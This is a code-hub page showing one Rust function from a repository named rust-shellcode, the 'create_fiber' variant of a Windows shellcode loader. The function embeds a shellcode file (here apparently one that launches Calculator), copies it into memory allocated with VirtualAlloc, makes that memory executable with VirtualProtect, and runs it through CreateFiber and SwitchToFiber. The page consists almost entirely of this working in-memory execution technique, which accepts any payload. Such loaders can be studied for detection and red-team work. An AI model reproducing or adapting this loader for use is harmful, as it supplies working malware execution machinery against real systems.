MCPcopy Create free account
hub / github.com/b1nhack/rust-shellcode / main

Function main

create_fiber/src/main.rs:10–46  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

8
9#[cfg(target_os = "windows")]
10fn main() {
11 let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
12 let shellcode_size = shellcode.len();
13
14 unsafe {
15 let main_fiber = ConvertThreadToFiber(null());
16 if main_fiber.is_null() {
17 panic!("[-]ConvertThreadToFiber failed: {}!", GetLastError());
18 }
19
20 let addr = VirtualAlloc(
21 null(),
22 shellcode_size,
23 MEM_COMMIT | MEM_RESERVE,
24 PAGE_READWRITE,
25 );
26 if addr.is_null() {
27 panic!("[-]VirtualAlloc failed: {}!", GetLastError());
28 }
29
30 let mut old = PAGE_READWRITE;
31 copy(shellcode.as_ptr(), addr.cast(), shellcode_size);
32 let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old);
33 if res == FALSE {
34 panic!("[-]VirtualProtect failed: {}!", GetLastError());
35 }
36
37 let func = transmute(addr);
38 let fiber = CreateFiber(0, func, null());
39 if fiber.is_null() {
40 panic!("[-]CreateFiber failed: {}!", GetLastError());
41 }
42
43 SwitchToFiber(fiber);
44 SwitchToFiber(main_fiber);
45 }
46}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected